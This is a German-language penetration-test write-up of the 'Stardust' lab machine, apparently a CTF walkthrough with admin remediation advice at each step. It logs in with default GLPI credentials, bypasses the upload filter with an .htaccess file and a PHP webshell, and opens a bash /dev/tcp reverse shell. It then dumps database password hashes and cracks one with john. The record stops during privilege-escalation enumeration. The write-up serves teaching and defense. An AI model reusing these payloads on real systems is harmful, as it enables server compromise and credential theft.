192.168.2.111 08:00:27:65:79:a2 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird verwendet, um aktive Hosts im lokalen Netzwerk zu identifizieren. Es wird ein Host mit der IP 192.168.2.111 und der MAC-Adresse 08:00:27:65:79:a2 (PCS Systemtechnik GmbH / Oracle VirtualBox) gefunden.
Bewertung: Das Zielsystem "Stardust" wurde erfolgreich im Netzwerk lokalisiert. Die IP 192.168.2.111 ist die Basis für weitere Scans.
Empfehlung (Pentester): Notieren Sie die Ziel-IP. Führen Sie Port-Scans (z.B. mit `nmap`) durch, um offene Dienste zu ermitteln.
Empfehlung (Admin): Netzwerksegmentierung kann die Sichtbarkeit von Hosts einschränken. ARP-Aktivitäten überwachen.
[Inhalt /etc/hosts nach Bearbeitung]
127.0.0.1 localhost
192.168.2.111 stardust.hmv
Analyse: Die lokale Hosts-Datei des Angreifer-Systems wird bearbeitet, um den Hostnamen `stardust.hmv` der gefundenen IP-Adresse 192.168.2.111 zuzuordnen.
Bewertung: Standardmäßiger, notwendiger Schritt, um das Zielsystem über seinen Hostnamen ansprechen zu können.
Empfehlung (Pentester): Sicherstellen, dass die Zuordnung korrekt ist.
Empfehlung (Admin): Keine direkte Aktion erforderlich.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-21 23:33 CEST Nmap scan report for stardust.hmv (192.168.2.111) Host is up (0.00021s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 db:f9:46:e5:20:81:6c:ee:c7:25:08:ab:22:51:36:6c (RSA) | 256 33:c0:95:64:29:47:23:dd:86:4e:e6:b8:07:33:67:ad (ECDSA) |_ 256 be:aa:6d:42:43:dd:7d:d4:0e:0d:74:78:c1:89:a1:36 (ED25519) 80/tcp open http Apache httpd 2.4.56 ((Debian)) |_http-title: Authentication - GLPI <-- GLPI Installation! |_http-server-header: Apache/2.4.56 (Debian) MAC Address: 08:00:27:65:79:A2 (Oracle VirtualBox virtual NIC) [...] OS details: Linux 4.15 - 5.6 [...] Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.21 ms stardust.hmv (192.168.2.111) [...]
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.56 ((Debian))
Analyse: Ein umfassender Nmap-Scan (`-p-`, `-sC`, `-sV`, `-A`) identifiziert zwei offene TCP-Ports:
Bewertung: Die Hauptangriffsfläche ist die GLPI-Installation auf Port 80. GLPI hat in der Vergangenheit mehrere Schwachstellen aufgewiesen (SQLi, RCE, LFI). SSH ist ein sekundäres Ziel.
Empfehlung (Pentester): Recherchieren Sie die GLPI-Version (falls möglich) und suchen Sie nach bekannten Exploits (`searchsploit glpi`). Führen Sie Web-Enumeration (Directory Busting mit `gobuster`/`ffuf`, Nikto) auf Port 80 durch. Versuchen Sie Standard-GLPI-Zugangsdaten (`glpi/glpi`, `tech/tech`, `normal/normal`, `post-only/postonly`).
Empfehlung (Admin): Halten Sie GLPI, Apache und SSH immer auf dem neuesten Stand. Schützen Sie die GLPI-Installation durch starke Passwörter, Zugriffsbeschränkungen und regelmäßige Sicherheitsüberprüfungen.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.111 + Target Hostname: 192.168.2.111 + Target Port: 80 + Start Time: 2023-07-21 23:33:27 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.56 (Debian) + /: Cookie glpi_40d1b2d83998fabacb726e5bc3d22129 created without the httponly flag. [...] + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + /bin/: Directory indexing found. + /: Web Server returns a valid response with junk HTTP methods [...] + /: DEBUG HTTP verb may show server debugging information. [...] + /inc/config.php: Bookmark4U v1.8.3 include files are not protected [...] <-- Wahrscheinlich False Positive, nicht Bookmark4U + /config/: Directory indexing found. + /config/: Configuration information may be available remotely. + /bin/: This might be interesting. + /css/: Directory indexing found. + /css/: This might be interesting. + /files/: Directory indexing found. + /files/: This might be interesting. + /install/: This might be interesting. <-- Installationsverzeichnis! + /lib/: This might be interesting. + /pics/: Directory indexing found. + /pics/: This might be interesting. + /public/: This might be interesting. + /src/: Directory indexing found. + /README.md: Readme Found. + 8910 requests: 0 error(s) and 21 item(s) reported on remote host + End Time: 2023-07-21 23:34:09 (GMT2) (42 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Ein `nikto`-Scan auf Port 80 liefert viele Ergebnisse, die typisch für eine GLPI-Installation sind:
Bewertung: Nikto bestätigt die GLPI-Installation und deckt mehrere Informationslecks und potenziell gefährliche Verzeichnisse auf. Das `/install/`-Verzeichnis und das `/config/`-Verzeichnis (mit Directory Indexing) sind die wichtigsten Funde.
Empfehlung (Pentester): Untersuchen Sie dringend die Verzeichnisse `/install/` und `/config/`. Suchen Sie in `/config/` nach Datenbank-Zugangsdaten (oft `config_db.php`). Prüfen Sie `/install/`, ob eine Neuinstallation oder ein Reset ausgelöst werden kann. Laden Sie die `/README.md` herunter. Analysieren Sie die anderen Verzeichnisse mit Directory Indexing auf interessante Dateien.
Empfehlung (Admin): Entfernen Sie das `/install/`-Verzeichnis nach der GLPI-Installation. Deaktivieren Sie Directory Indexing für alle Verzeichnisse (`Options -Indexes` in Apache). Sichern Sie das `/config/`-Verzeichnis besonders ab (z.B. Zugriff über `.htaccess` beschränken). Implementieren Sie die fehlenden Security Header.
[...] http://stardust.hmv/index.php (Status: 200) [Size: 9137] http://stardust.hmv/templates (Status: 301) [Size: 316] [--> http://stardust.hmv/templates/] http://stardust.hmv/resources (Status: 301) [Size: 316] [--> http://stardust.hmv/resources/] http://stardust.hmv/files (Status: 301) [Size: 312] [--> http://stardust.hmv/files/] http://stardust.hmv/pics (Status: 301) [Size: 311] [--> http://stardust.hmv/pics/] http://stardust.hmv/public (Status: 301) [Size: 313] [--> http://stardust.hmv/public/] http://stardust.hmv/version (Status: 301) [Size: 314] [--> http://stardust.hmv/version/] <-- Version Info? http://stardust.hmv/bin (Status: 301) [Size: 310] [--> http://stardust.hmv/bin/] http://stardust.hmv/plugins (Status: 301) [Size: 314] [--> http://stardust.hmv/plugins/] http://stardust.hmv/css (Status: 301) [Size: 310] [--> http://stardust.hmv/css/] http://stardust.hmv/ajax (Status: 301) [Size: 311] [--> http://stardust.hmv/ajax/] http://stardust.hmv/install (Status: 301) [Size: 314] [--> http://stardust.hmv/install/] http://stardust.hmv/lib (Status: 301) [Size: 310] [--> http://stardust.hmv/lib/] http://stardust.hmv/src (Status: 301) [Size: 310] [--> http://stardust.hmv/src/] http://stardust.hmv/status.php (Status: 200) [Size: 115] <-- Status Seite? http://stardust.hmv/front (Status: 301) [Size: 312] [--> http://stardust.hmv/front/] http://stardust.hmv/js (Status: 301) [Size: 309] [--> http://stardust.hmv/js/] http://stardust.hmv/marketplace (Status: 301) [Size: 318] [--> http://stardust.hmv/marketplace/] http://stardust.hmv/vendor (Status: 301) [Size: 313] [--> http://stardust.hmv/vendor/] http://stardust.hmv/config (Status: 301) [Size: 313] [--> http://stardust.hmv/config/] http://stardust.hmv/inc (Status: 301) [Size: 310] [--> http://stardust.hmv/inc/] http://stardust.hmv/sound (Status: 301) [Size: 312] [--> http://stardust.hmv/sound/] http://stardust.hmv/LICENSE (Status: 200) [Size: 35148] [...]
Analyse: Ein `gobuster dir`-Scan auf Port 80 bestätigt viele der von Nikto gefundenen Verzeichnisse, die zur Standardstruktur von GLPI gehören (`templates`, `files`, `pics`, `public`, `bin`, `plugins`, `css`, `ajax`, `install`, `lib`, `src`, `front`, `js`, `marketplace`, `vendor`, `config`, `inc`, `sound`). Zusätzlich werden `status.php` und `LICENSE` gefunden.
Bewertung: Bestätigt die GLPI-Struktur. Die `status.php`, `/config/` und `/install/` Verzeichnisse sind die vielversprechendsten Ziele für weitere Enumeration.
Empfehlung (Pentester): Untersuchen Sie `status.php`. Prüfen Sie `/config/` auf lesbare Konfigurationsdateien (insbesondere `config_db.php`). Prüfen Sie `/install/` auf Reste der Installationsroutine.
Empfehlung (Admin): Zugriff auf `/config` und `/install` einschränken oder letzteres entfernen. `status.php` auf Informationslecks prüfen.
Versuch SQLi auf Login-Seite (http://stardust.hmv/front/login.php): Payload: ' OR 1=1 -- - Antwort: Error Incorrect username or password <-- SQLi wahrscheinlich nicht erfolgreich Zugriff auf Templates (Beispiel): http://stardust.hmv/templates/%7B%7B%20path('front/tracking.injector.php')%20%7D%7D <-- Sieht nach Template-Syntax aus (Twig?) http://stardust.hmv/templates/{{ path('front/tracking.injector.php') }} <-- Sieht nach SSTI-Versuch aus? # Ergebnis dieser Versuche unklar / nicht im Log Log-Datei Fund (Quelle unklar, evtl. LFI oder anderer Leak): /home/cycat/Downloads/php-errors.log <-- Lokaler Pfad des Angreifers! [2023-05-04 20:55:32] glpiphplog.CRITICAL: * Uncaught Exception Error: Class '' not found in /var/www/html/src/ITILSolution.php at line 104 [...] Log-Datei Fund (Quelle unklar): /home/cycat/Downloads/access-errors.log <-- Lokaler Pfad des Angreifers! 2023-07-21 23:33:51 [@stardust.hmv] CSRF check failed for User ID: at / <-- CSRF-Schutz scheint aktiv Zugriff auf status.php: http://192.168.2.111/status.php GLPI_DB_OK GLPI_SESSION_DIR_OK No LDAP server No IMAP server No CAS server No mail collector Crontasks_OK GLPI_OK Zugriff auf Konfigurationsdatei (erfolglos): http://stardust.hmv/inc/config.php Sorry. You can't access this file directly curl http://stardust.hmv/inc/config.php -sI HTTP/1.1 200 OK <-- Datei existiert, direkter Zugriff blockiert Weitere gefundene Dateien im /inc Verzeichnis: http://stardust.hmv/inc/index.php (Status: 200) [Size: 0] http://stardust.hmv/inc/includes.php (Status: 200) [Size: 0] http://stardust.hmv/inc/config.php (Status: 200) [Size: 42] <-- Widerspruch? Größe 42, aber Zugriff blockiert? http://stardust.hmv/inc/define.php (Status: 500) [Size: 0] <-- Serverfehler
Analyse: Mehrere Enumerationsschritte werden durchgeführt oder beschrieben:
Bewertung: Die Anwendung scheint gegen einfache SQLi geschützt zu sein. Die Log-Dateien liefern interne Pfade, sind aber ohne Kontext schwer zu nutzen. `status.php` ist informativ, aber kein direkter Exploit. Der blockierte Zugriff auf `config.php` ist normal. Der 500er-Fehler bei `define.php` könnte weiter untersucht werden. Die Template-Syntax-Versuche deuten auf die Suche nach SSTI hin, was bei komplexen Webanwendungen ein möglicher Vektor ist.
Empfehlung (Pentester): Versuchen Sie, Standard-Logins für GLPI (`glpi/glpi`, `tech/tech` etc.). Untersuchen Sie das `/ajax/`-Verzeichnis (z.B. `getFileTag.php`, wie im nächsten Schritt angedeutet) auf Schwachstellen. Prüfen Sie bekannte GLPI-Exploits gegen die (noch unbekannte) Version.
Empfehlung (Admin): Stellen Sie sicher, dass keine Log-Dateien oder internen Fehlerdetails nach außen dringen. Schützen Sie Konfigurationsdateien. Beheben Sie den 500er-Fehler in `define.php`. Halten Sie GLPI aktuell.
http://stardust.hmv/ajax/getFileTag.php
Analyse: Es wird auf die Datei `/ajax/getFileTag.php` hingewiesen. AJAX-Endpunkte sind oft anfällig für verschiedene Schwachstellen, da sie direkt aufgerufen werden können und manchmal weniger strenge Prüfungen haben.
Bewertung: Diese Datei sollte gezielt untersucht werden.
Empfehlung (Pentester): Rufen Sie die URL auf. Analysieren Sie die erwarteten Parameter (ggf. im JavaScript-Code der Hauptanwendung suchen). Testen Sie auf SQLi, LFI, RCE etc.
Empfehlung (Admin): Sichern Sie alle AJAX-Endpunkte genauso sorgfältig ab wie andere Teile der Anwendung.
Googlesuche nach Standard Login: [...] you have 4 differents profils glpi/glpi (super-admin) tech/tech postonly/postonly (only for helpdesk) normal/normal
Analyse: Es wird nach Standard-Zugangsdaten für GLPI gesucht. Die üblichen Paare werden gefunden: `glpi/glpi`, `tech/tech`, `normal/normal`, `postonly/postonly`.
Bewertung: Standard-Enumerationsschritt.
Empfehlung (Pentester): Testen Sie diese Standard-Logins auf der Seite `http://stardust.hmv/front/login.php` (oder `/index.php`).
Empfehlung (Admin): Ändern Sie *alle* Standardpasswörter sofort nach der Installation.
http://stardust.hmv/front/central.php <-- Erfolgreicher Login als tech
Analyse: Der Login mit den Standard-Zugangsdaten `tech`:`tech` war erfolgreich, da der Zugriff auf `central.php` (die Hauptseite nach dem Login) möglich ist.
Bewertung: Kritische Schwachstelle! Ein Standardpasswort wurde nicht geändert. Dies gewährt Zugriff auf die Anwendung als technischer Benutzer.
Empfehlung (Pentester): Enumerieren Sie die Funktionen, die als `tech`-Benutzer verfügbar sind. Suchen Sie nach Möglichkeiten, Dateien hochzuladen, Code auszuführen, Konfigurationen einzusehen oder die Rechte weiter zu eskalieren.
Empfehlung (Admin): Ändern Sie das `tech`-Standardpasswort und alle anderen Standardpasswörter sofort.
LFI-Versuche über document.send.php (scheitern): http://stardust.hmv/front/document.send.php?file=/etc/passwd http://stardust.hmv/front/document.send.php?file=/var/log/access.log Antwort: Unerlaubter Zugriff auf diese Datei Hinweis in Ticket gefunden (Seite: ticket.form.php?id=6): Solution: We are currently experiencing technical problems with intranet. We have set up a backup server accessible without VPN: intranetik.stardust.hmv
Analyse: Nach dem Login als `tech` werden weitere Tests durchgeführt:
Bewertung: Die LFI-Versuche waren erfolglos. Der Hinweis auf `intranetik.stardust.hmv` ist jedoch ein sehr wichtiger Fund und deutet auf einen weiteren VHost oder ein separates System hin.
Empfehlung (Pentester): Fügen Sie `intranetik.stardust.hmv` zur `/etc/hosts`-Datei hinzu (auf die IP 192.168.2.111). Rufen Sie diesen neuen Hostnamen im Browser auf und beginnen Sie mit dessen Enumeration.
Empfehlung (Admin): Stellen Sie sicher, dass interne Hostnamen nicht in öffentlich zugänglichen Tickets oder Kommentaren preisgegeben werden. Sichern Sie interne Systeme angemessen ab.
Aufruf von http://intranetik.stardust.hmv/index.php: Stardust File Upload Use this page to upload files to the company's shared server. Note that file types such as .php, .py, .sh, .asp, etc., are not allowed. [...] Test-Upload (shell.php.jpg): Versuchter Zugriff auf http://intranetik.stardust.hmv/shell.php.jpg: Fehler: Die Grafik [...] kann nicht angezeigt werden, weil sie Fehler enthält <-- Datei existiert, wird aber nicht als Bild interpretiert
Analyse: Der neue VHost `intranetik.stardust.hmv` wird untersucht. Er enthält eine einfache Dateiupload-Seite. Ein Hinweis besagt, dass bestimmte Dateitypen (`.php`, `.py`, `.sh` etc.) nicht erlaubt sind. Ein Test-Upload einer Datei namens `shell.php.jpg` scheint erfolgreich zu sein (keine Fehlermeldung beim Upload), aber der direkte Zugriff auf die Datei im Browser führt zu einem Fehler, der darauf hindeutet, dass der Server sie nicht als Bild erkennt (weil sie wahrscheinlich PHP-Code enthält).
Bewertung: Es gibt eine Upload-Funktion mit einer Blacklist für gefährliche Dateiendungen. Diese Blacklist ist jedoch oft unvollständig oder kann umgangen werden (z.B. durch doppelte Endungen wie `.php.jpg`, alternative PHP-Endungen wie `.phtml`, Groß-/Kleinschreibung, oder durch Manipulation des Content-Types). Die Tatsache, dass die `.php.jpg`-Datei zwar hochgeladen, aber nicht korrekt angezeigt wird, deutet darauf hin, dass der Upload an sich funktioniert, aber die Ausführung als PHP noch verhindert wird.
Empfehlung (Pentester): Versuchen Sie verschiedene Bypass-Techniken für den Upload-Filter:
1. Groß-/Kleinschreibung: `shell.PhP`
2. Alternative Endungen: `shell.phtml`, `shell.php5`, etc.
3. Doppelte Endungen (wie bereits versucht, aber ggf. mit anderer Reihenfolge).
4. Manipulation des Content-Types im Upload-Request (mit Burp Suite).
5. Versuchen Sie, eine `.htaccess`-Datei hochzuladen, um dem Server beizubringen, harmlose Endungen (z.B. `.ben`) als PHP auszuführen.
Empfehlung (Admin): Implementieren Sie eine Whitelist für erlaubte Dateiendungen beim Upload statt einer Blacklist. Validieren Sie den tatsächlichen MIME-Typ serverseitig. Speichern Sie Uploads außerhalb des Web-Roots oder ohne Ausführungsrechte. Erlauben Sie nicht das Hochladen von Konfigurationsdateien wie `.htaccess`.
POST /index.php HTTP/1.1 Host: intranetik.stardust.hmv [...] Content-Type: multipart/form-data; boundary=---------------------------19823407031929607804901358391 [...] -----------------------------19823407031929607804901358391 Content-Disposition: form-data; name="file"; filename="shell.php .jpg" <-- Leerzeichen vor .jpg? Content-Type: application/x-php <-- Content-Type geändert GIF89a; php system($GET['cmd']); <-- Magic Bytes + PHP Payload -----------------------------19823407031929607804901358391-- HTTP/1.1 200 OK [...] File uploaded successfully.
Analyse: Ein Upload-Versuch wird mit Burp Suite modifiziert:
Bewertung: Dieser Versuch zielt darauf ab, sowohl den Endungsfilter (durch das `.jpg` am Ende, obwohl das Leerzeichen davor problematisch sein könnte) als auch eine mögliche Content-Type-Prüfung (durch Setzen auf `x-php`) und eine Magic-Byte-Prüfung (durch `GIF89a;`) zu umgehen. Da der Upload erfolgreich war, scheint die serverseitige Validierung schwach zu sein. Es ist jedoch unklar, ob die Datei als PHP ausgeführt wird.
Empfehlung (Pentester): Versuchen Sie, auf die hochgeladene Datei (`http://intranetik.stardust.hmv/shell.php%20.jpg`?) zuzugreifen und Code auszuführen. Wenn dies nicht funktioniert, ist der `.htaccess`-Ansatz vielversprechender.
Empfehlung (Admin): Implementieren Sie robuste, mehrstufige Upload-Validierung (Endung per Whitelist, MIME-Type serverseitig prüfen, Magic Bytes prüfen).
POST /index.php HTTP/1.1 Host: intranetik.stardust.hmv [...] Content-Disposition: form-data; name="file"; filename="shell.ben" Content-Type: image/jpeg <-- Erlaubter Content-Type jpeg5: <-- Beliebiger Inhalt, hier mit Hinweis php system($GET['cmd']); <-- PHP Payload -----------------------------19823407031929607804901358391-- HTTP/1.1 200 OK [...] File uploaded successfully.
Analyse: Es wird eine Datei mit dem Namen `shell.ben` und dem erlaubten `Content-Type: image/jpeg` hochgeladen. Der Inhalt ist jedoch wieder PHP-Code, diesmal mit einem vorangestellten String "jpeg5:". Der Upload ist erfolgreich.
Bewertung: Die Anwendung erlaubt das Hochladen von Dateien mit der Endung `.ben`, wenn der Content-Type passt. Der Server wird diese Datei jedoch standardmäßig nicht als PHP ausführen.
Empfehlung (Pentester): Der nächste logische Schritt ist das Hochladen einer `.htaccess`-Datei, um dem Apache-Server beizubringen, Dateien mit der Endung `.ben` als PHP zu interpretieren.
Empfehlung (Admin): Keine ausführbaren oder Konfigurationsdateien wie `.htaccess` erlauben. Whitelist für Dateiendungen verwenden.
POST /index.php HTTP/1.1 Host: intranetik.stardust.hmv [...] Content-Disposition: form-data; name="file"; filename=".htaccess" Content-Type: application/x-php <-- Content-Type hier irrelevant AddType application/x-httpd-php .ben <-- .htaccess Inhalt -----------------------------19823407031929607804901358391-- HTTP/1.1 200 OK [...] File uploaded successfully.
Analyse: Eine Datei mit dem Namen `.htaccess` wird hochgeladen. Der Inhalt weist Apache an, Dateien mit der Endung `.ben` als PHP-Skripte zu behandeln (`AddType application/x-httpd-php .ben`). Der Upload ist erfolgreich.
Bewertung: Kritischer Erfolg! Die Anwendung erlaubt das Hochladen von `.htaccess`-Dateien. Dies ermöglicht es dem Angreifer, die Serverkonfiguration für das aktuelle Verzeichnis (und potenziell Unterverzeichnisse) zu ändern und die zuvor hochgeladene `shell.ben` ausführbar zu machen.
Empfehlung (Pentester): Rufen Sie nun die zuvor hochgeladene `shell.ben` (oder eine neu hochgeladene Version wie `chehade.ben`) mit einem `cmd`-Parameter auf, um RCE zu bestätigen und eine Reverse Shell zu starten.
Empfehlung (Admin): Verhindern Sie das Hochladen von `.htaccess`-Dateien (und anderen sensiblen Konfigurationsdateien) durch eine strikte Whitelist für Dateinamen und Endungen. Konfigurieren Sie Apache global so, dass `.htaccess`-Overrides deaktiviert sind, wenn nicht unbedingt benötigt (`AllowOverride None`).
POST /index.php HTTP/1.1 [...] Content-Disposition: form-data; name="file"; filename="chehade.ben" Content-Type: image/jpeg jpeg5: php system($GET['cmd']); -----------------------------19823407031929607804901358391-- HTTP/1.1 200 OK [...] File uploaded successfully.
Aufruf: http://intranetik.stardust.hmv/chehade.ben?cmd=id Antwort: jpeg5: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: Nachdem die `.htaccess`-Datei hochgeladen wurde, wird eine neue Webshell (`chehade.ben`) hochgeladen. Anschließend wird diese Shell mit dem Parameter `cmd=id` aufgerufen. Die Antwort enthält "jpeg5:" (den statischen Teil der hochgeladenen Datei) gefolgt von der Ausgabe des `id`-Befehls.
Bewertung: Remote Code Execution als `www-data` ist erfolgreich bestätigt! Der `.htaccess`-Upload hat Apache angewiesen, `.ben`-Dateien als PHP auszuführen.
Empfehlung (Pentester): Nutzen Sie die RCE, um eine Reverse Shell zu erhalten.
Empfehlung (Admin): Beheben Sie die Upload-Schwachstelle und die Möglichkeit, `.htaccess` hochzuladen.
listening on [any] 9001 ...
Payload URL: http://intranetik.stardust.hmv/chehade.ben?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F9001%200%3E%261%27
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.111] 59010
bash: cannot set terminal process group (499): Inappropriate ioctl for device
bash: no job control in this shell
Analyse: Ein Netcat-Listener wird gestartet. Die Webshell `chehade.ben` wird mit einem Bash-Reverse-Shell-Payload aufgerufen. Der Listener empfängt die Verbindung, und der Angreifer erhält eine Shell als `www-data`.
Bewertung: Initial Access erfolgreich etabliert via RCE durch Upload-Bypass.
Empfehlung (Pentester): Shell stabilisieren und mit der Enumeration als `www-data` beginnen.
Empfehlung (Admin): Upload-Schwachstelle und `.htaccess`-Problem beheben.
Kurzbeschreibung: Die Webanwendung unter `http://intranetik.stardust.hmv` (ein über einen Hinweis entdeckter VHost) verfügt über eine Dateiupload-Funktion (`index.php`), die eine unzureichende Filterung von Dateiendungen und -namen aufweist. Obwohl sie versucht, das Hochladen von Skriptdateien wie `.php` zu verhindern, erlaubt sie das Hochladen von `.htaccess`-Dateien. Dies ermöglicht einem Angreifer, zuerst eine `.htaccess`-Datei hochzuladen, die den Webserver (Apache) anweist, eine harmlose Dateiendung (z.B. `.ben`) als PHP-Skript zu interpretieren. Anschließend kann der Angreifer eine zweite Datei mit der harmlosen Endung (z.B. `shell.ben`) hochladen, die PHP-Webshell-Code enthält. Beim Aufruf dieser zweiten Datei wird der PHP-Code ausgeführt, was zu Remote Code Execution (RCE) führt.
Voraussetzungen:
Schritt-für-Schritt Anleitung:
POST /index.php HTTP/1.1
Host: intranetik.stardust.hmv
[...]
Content-Type: multipart/form-data; boundary=---BOUNDARY---
[...]
---BOUNDARY---
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: text/plain <-- Content-Type hier weniger wichtig
AddType application/x-httpd-php .ben
---BOUNDARY---
POST /index.php HTTP/1.1 Host: intranetik.stardust.hmv [...] Content-Type: multipart/form-data; boundary=---BOUNDARY--- [...] ---BOUNDARY--- Content-Disposition: form-data; name="file"; filename="chehade.ben" Content-Type: image/jpeg php system($GET['cmd']); ---BOUNDARY---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Erwartetes Ergebnis: Die Fähigkeit, beliebige Betriebssystembefehle als `www-data`-Benutzer über die hochgeladene `.ben`-Datei auszuführen.
Beweismittel: Die erfolgreiche Ausgabe des `id`-Befehls (oder anderer Testbefehle) beim Aufruf der `.ben`-Datei.
Risikobewertung: Hoch. Die Umgehung von Upload-Filtern durch das Hochladen einer `.htaccess`-Datei ist eine bekannte Technik, die zu RCE führt und die vollständige Kompromittierung des Webservers ermöglicht.
Empfehlungen zur Behebung:
class DB extends DBmysql {
public $dbhost = 'localhost';
public $dbuser = 'glpi';
public $dbpassword = 'D6jsxBGek'; <-- DB Passwort gefunden!
public $dbdefault = 'glpi';
[...]
}
Analyse: Als `www-data` wird die Datei `/var/www/html/config/config_db.php` (wahrscheinlich durch Browsen im Dateisystem nach dem Shell-Zugriff gefunden) gelesen. Diese Datei enthält die Zugangsdaten für die MySQL-Datenbank, die von GLPI verwendet wird: Benutzer `glpi` und Passwort `D6jsxBGek`.
Bewertung: Fund von Datenbank-Zugangsdaten. Dies ermöglicht den Zugriff auf die GLPI-Datenbank und potenziell auf weitere Datenbanken auf demselben MySQL-Server.
Empfehlung (Pentester): Verbinden Sie sich mit der MySQL-Datenbank (`mysql -u glpi -pD6jsxBGek`). Enumerieren Sie Datenbanken (`show databases;`), Tabellen (`use glpi; show tables;`, `use intranetikDB; show tables;`) und Benutzerdaten (insbesondere Passwort-Hashes in `glpi_users` und `intranetikDB.users`). Versuchen Sie, die gefundenen Hashes zu knacken.
Empfehlung (Admin): Beschränken Sie die Leserechte für Konfigurationsdateien wie `config_db.php` nur auf die notwendigen Benutzer (z.B. `root` und den Webserver-Benutzer). Verwenden Sie separate Datenbankbenutzer mit minimalen Rechten für verschiedene Anwendungen. Verwenden Sie keine leicht erratbaren Datenbankpasswörter.
Welcome to the MariaDB monitor. [...]
+--------------------+ | Database | +--------------------+ | glpi | | information_schema | | intranetikDB | <-- Zusätzliche Datenbank +--------------------+
Database changed
+------------------------+ | Tables_in_intranetikDB | +------------------------+ | users | +------------------------+
+----+-----------+--------------------------------------------------------------+ | id | username | password | +----+-----------+--------------------------------------------------------------+ | 1 | carolynn | $2b$12$HRVJrlSG5eSW44VaNlTwowu42c1l9AnbphDvcEXVMyhcB46ZtXC | [...] | 3 | tally | $2b$12$zzVJjW1Bvm4WqcPy6nqDFU4JRh2mMpbeKKbP21cn7FKtNy4Ycjl. | <-- Hash für tally [...] +----+-----------+--------------------------------------------------------------+ 15 rows in set (0.000 sec)
+--------------------------------------------------------------+-------------+ | password | name | +--------------------------------------------------------------+-------------+ | $2y$10$rXXzbc2ShaiCldwkw4AZL.n.9QSH7c0c9XJAyyjrbL9BwmWditAYm | glpi | <-- Hash für glpi [...] +--------------------------------------------------------------+-------------+
Analyse: Mit den gefundenen Zugangsdaten wird eine Verbindung zur MariaDB-Datenbank hergestellt. Es wird eine zweite Datenbank namens `intranetikDB` entdeckt. In dieser Datenbank gibt es eine Tabelle `users`, die Benutzernamen und zugehörige Passwort-Hashes (im bcrypt-Format `$2b$12$...`) enthält, darunter der Benutzer `tally`. Zusätzlich werden die Hashes der GLPI-Standardbenutzer aus der `glpi`-Datenbank abgefragt (bcrypt `$2y$10$...`).
Bewertung: Mehrere Passwort-Hashes wurden erfolgreich aus den Datenbanken extrahiert. Diese können nun offline geknackt werden.
Empfehlung (Pentester): Kopieren Sie die Hashes (insbesondere den von `tally`) auf Ihr Angreifer-System. Verwenden Sie `john` oder `hashcat` mit einer Wortliste (z.B. `rockyou.txt`), um die Hashes zu knacken.
Empfehlung (Admin): Verwenden Sie starke Hashing-Algorithmen mit hohem Cost-Faktor für Passwörter. Schützen Sie den Datenbankzugriff. Überprüfen Sie die Notwendigkeit der `intranetikDB`.
[Keine Ausgabe]
[...] Cost 1 (iteration count) is 1024 for all loaded hashes [...] Session aborted <-- Knacken von 'glpi'-Hash nicht erfolgreich/abgebrochen
Analyse: Es wird versucht, den bcrypt-Hash des GLPI-Benutzers `glpi` mit `john` und `rockyou.txt` zu knacken. Der Versuch wird abgebrochen oder bleibt erfolglos.
Bewertung: Das Passwort für `glpi` ist nicht in `rockyou.txt` enthalten.
Empfehlung (Pentester): Konzentrieren Sie sich auf den Hash des Benutzers `tally` aus der anderen Datenbank.
Empfehlung (Admin): Verwenden Sie starke, nicht in Wörterbüchern enthaltene Passwörter.
tally:$2b$12$zzVJjW1Bvm4WqcPy6nqDFU4JRh2mMpbeKKbP21cn7FKtNy4Ycjl.
Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 4096 for all loaded hashes Will run 16 penMP threads Press 'q' or Ctrl-C to abort, almost any other key for status ------------------------------------------------ bonita (tally) <-- Erfolg! ------------------------------------------------ 1g 0:00:00:02 DONE (2023-07-22 01:09) 0.3891g/s 168.0p/s 168.0c/s 168.0C/s karina..raymond Use the "--show" option to display all of the cracked passwords reliably Session completed.
Analyse: Der bcrypt-Hash (`$2b$12$...`) für den Benutzer `tally` wird in die `hash`-Datei geschrieben (im `user:hash`-Format). `john` wird erneut mit `rockyou.txt` gestartet.
Bewertung: Erfolgreich! `john` knackt den Hash und findet das Passwort `bonita` für den Benutzer `tally`.
Empfehlung (Pentester): Wechseln Sie zum Benutzer `tally` auf dem Zielsystem (via `su tally` oder SSH, falls möglich) unter Verwendung des Passworts `bonita`.
Empfehlung (Admin): Starke Passwörter erzwingen. Datenbank sichern.
Password:
tally@stardust:/var/www/html/config$ # Wechsel erfolgreich
Analyse: In der `www-data`-Shell wird `su tally` ausgeführt. Das geknackte Passwort `bonita` wird eingegeben.
Bewertung: Horizontale Rechteausweitung von `www-data` zu `tally` erfolgreich.
Empfehlung (Pentester): Enumerieren Sie nun als `tally`. Prüfen Sie `sudo -l`, SUID-Binaries, Home-Verzeichnis etc.
Empfehlung (Admin): Keine direkte Aktion, außer der Absicherung der initialen Lücke.
bash: sudo: command not found
/usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/bin/mount /usr/bin/passwd /usr/bin/chfn /usr/bin/su /usr/bin/chsh /usr/bin/newgrp /usr/bin/gpasswd /usr/bin/umount
Analyse: Als `tally` wird versucht, `sudo -l` auszuführen, was fehlschlägt (`command not found`). Die Suche nach SUID-Dateien (`find / -perm -4000 ...`) zeigt nur Standard-Binaries, keine offensichtlich ausnutzbaren benutzerdefinierten Programme.
Bewertung: `sudo` und SUID-Binaries scheinen keine direkten Eskalationswege von `tally` aus zu bieten.
